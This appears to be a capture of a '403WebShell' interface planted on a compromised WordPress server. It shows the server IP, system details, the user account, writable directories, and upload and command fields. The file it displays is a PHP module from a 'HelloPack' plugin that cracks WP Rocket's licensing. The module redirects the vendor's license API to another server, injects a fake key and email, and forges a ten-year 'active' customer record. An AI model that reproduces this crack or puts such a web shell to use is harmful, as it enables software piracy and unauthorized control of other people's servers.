$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.217.123
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules//wp-rocket.php
<?php
/**
 * WP Rocket module.
 *
 * Redirects api.wp-rocket.me license API calls to GLS3.
 * SaaS domains (saas.wp-rocket.me, cpcss.wp-rocket.me) pass through.
 *
 * Custom license system.
 * API domain: api.wp-rocket.me
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Modules;

use HelloPack\Client\Module\AbstractModule;
use HelloPack\Client\License\ApiRedirector;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * WP Rocket license module.
 */
class WP_Rocket extends AbstractModule {

	/**
	 * Dummy consumer key (8 chars required by rocket_valid_key).
	 *
	 * @var string
	 */
	private const CONSUMER_KEY = 'hpack3wp';

	/**
	 * Dummy consumer email for local validation.
	 *
	 * @var string
	 */
	private const CONSUMER_EMAIL = 'noreply@hellowp.io';

	/**
	 * Set up module properties.
	 */
	public function setup(): void {
		$this->id          = 'wp-rocket';
		$this->name        = 'WP Rocket';
		$this->description = 'Manages WP Rocket license via GLS3.';
		$this->category    = 'plugin';
		$this->version     = '2.0.0';
		$this->target      = array(
			'plugin_dir'  => 'wp-rocket',
			'plugin_file' => 'wp-rocket.php',
		);
		$this->target_id   = '260729283';

		$this->blocked_domains = array(
			'api.wp-rocket.me/check_update.php' => self::generic_block(),
		);

		// Block plugin-settings API call early (fires before init).
		hellopack_license_start(
			array(
				'domain'          => 'api.wp-rocket.me',
				'check_action'    => false,
				'response_type'   => 'custom',
				'custom_response' => array( $this, 'mock_plugin_settings' ),
				'url_contains'    => array( 'plugin-settings.php' ),
			)
		);
	}

	/**
	 * Return mock response for the Rocket Insights plugin-settings endpoint.
	 *
	 * @return array<string, mixed>
	 */
	public function mock_plugin_settings(): array {
		return array(
			'success' => true,
			'data'    => array(
				'rocket_insights_display_post_column' => false,
			),
		);
	}

	/**
	 * Initialize module.
	 */
	public function init(): void {
		ApiRedirector::create( 'https://api.wp-rocket.me', HELLOPACK_GLS3_URL . '/wp-rocket' );

		if ( ! defined( 'WP_ROCKET_KEY' ) ) {
			define( 'WP_ROCKET_KEY', self::CONSUMER_KEY );
		}

		if ( ! defined( 'WP_ROCKET_EMAIL' ) ) {
			define( 'WP_ROCKET_EMAIL', self::CONSUMER_EMAIL );
		}

		$this->activate_license();

		hellopack_ensure_option( 'rocket_analytics_notice_displayed', 1 );
		hellopack_ensure_option( 'wp_rocket_no_licence', 0 );

		// Fix WP Rocket bug: get_home_path() missing in REST API context during deactivation.
		add_action( 'deactivate_wp-rocket/wp-rocket.php', array( $this, 'ensure_admin_functions' ), 1 );

		// Remove plugin recommendation feature (saves ~0.9s per admin page load).
		add_action( 'admin_init', array( $this, 'unhook_plugins_api_result' ), 99 );
	}

	/**
	 * Ensure WordPress admin file functions are loaded.
	 *
	 * WP Rocket's deactivation calls get_home_path() which is only
	 * available after wp-admin/includes/file.php is loaded. In REST API
	 * or AJAX context this file is not included automatically.
	 */
	public function ensure_admin_functions(): void {
		if ( ! function_exists( 'get_home_path' ) ) {
			require_once ABSPATH . 'wp-admin/includes/file.php';
		}
	}

	/**
	 * Activate WP Rocket license.
	 *
	 * Sets consumer_key, consumer_email, secret_key, and license flag
	 * in wp_rocket_settings so rocket_valid_key() passes locally.
	 * Also pre-sets the customer data transient to avoid API calls.
	 */
	private function activate_license(): void {
		$options = get_option( 'wp_rocket_settings' );

		if ( ! is_array( $options ) ) {
			$options = array();
		}

		$secret_key = hash( 'crc32', self::CONSUMER_EMAIL );
		$needs_save = false;

		if ( ( $options['consumer_key'] ?? '' ) !== self::CONSUMER_KEY ) {
			$options['consumer_key'] = self::CONSUMER_KEY;
			$needs_save              = true;
		}

		if ( ( $options['consumer_email'] ?? '' ) !== self::CONSUMER_EMAIL ) {
			$options['consumer_email'] = self::CONSUMER_EMAIL;
			$needs_save                = true;
		}

		if ( ( $options['secret_key'] ?? '' ) !== $secret_key ) {
			$options['secret_key'] = $secret_key;
			$needs_save            = true;
		}

		if ( empty( $options['license'] ) ) {
			$options['license'] = '1';
			$needs_save         = true;
		}

		if ( $needs_save ) {
			// WP Rocket hooks fire on update_option and may call add_settings_error(),
			// which is only available in admin context.
			if ( ! function_exists( 'add_settings_error' ) ) {
				require_once ABSPATH . 'wp-admin/includes/template.php';
			}
			update_option( 'wp_rocket_settings', $options );
			delete_transient( 'rocket_check_key_errors' );
		}

		// Pre-set customer data transient to avoid UserClient API call.
		if ( false === get_transient( 'wp_rocket_customer_data' ) ) {
			$this->set_customer_data();
		}
	}

	/**
	 * Set WP Rocket customer data transient.
	 *
	 * Matches the format returned by UserClient (stat/1.0/wp-rocket/user.php).
	 */
	private function set_customer_data(): void {
		$version = defined( 'WP_ROCKET_VERSION' ) ? WP_ROCKET_VERSION : '3.20.4';

		$data                          = new \stdClass();
		$data->licence_version         = $version;
		$data->consumer_key            = self::CONSUMER_KEY;
		$site_name                     = get_bloginfo( 'name' );
		$data->first_name              = ! empty( $site_name ) ? $site_name : 'HelloPack';
		$data->email                   = self::CONSUMER_EMAIL;
		$data->licence_account         = '-1';
		$data->licence_expiration      = strtotime( '+10 years' );
		$data->ID                      = '1333';
		$data->is_blacklisted          = '';
		$data->is_staggered            = '';
		$data->date_created            = '0';
		$data->status                  = 'active';
		$data->is_blocked              = '';
		$data->has_auto_renew          = '';
		$data->{'has_one-com_account'} = '';
		$data->renewal_url             = '';
		$data->upgrade_plus_url        = '';
		$data->upgrade_infinite_url    = '';

		set_transient( 'wp_rocket_customer_data', $data, YEAR_IN_SECONDS );
	}

	/**
	 * Unhook WP Rocket's InformationSubscriber from plugins_api_result.
	 *
	 * Prevents unnecessary api.wordpress.org calls for recommended plugins
	 * like Imagify, BackWPup (saves ~0.9s per plugins page load).
	 */
	public function unhook_plugins_api_result(): void {
		global $wp_filter;

		if ( ! isset( $wp_filter['plugins_api_result'] ) ) {
			return;
		}

		foreach ( $wp_filter['plugins_api_result']->callbacks as $priority => $callbacks ) {
			foreach ( $callbacks as $callback ) {
				if ( ! is_array( $callback['function'] ) || ! is_object( $callback['function'][0] ) ) {
					continue;
				}

				$class_name = get_class( $callback['function'][0] );

				if (
					'WP_Rocket\Engine\Plugin\InformationSubscriber' === $class_name &&
					'add_plugins_to_result' === $callback['function'][1]
				) {
					remove_filter( 'plugins_api_result', $callback['function'], $priority );
					return;
				}
			}
		}
	}

	/**
	 * Cleanup on disable.
	 */
	public function cleanup(): void {
		delete_transient( 'wp_rocket_customer_data' );
		delete_transient( 'wp_rocket_pricing' );
		delete_transient( 'wp_rocket_remote_settings' );
		delete_transient( 'rocket_check_key_errors' );
		delete_site_transient( 'wp_rocket_update_data' );
		hellopack_delete_option( 'rocket_analytics_notice_displayed' );
		hellopack_delete_option( 'wp_rocket_no_licence' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit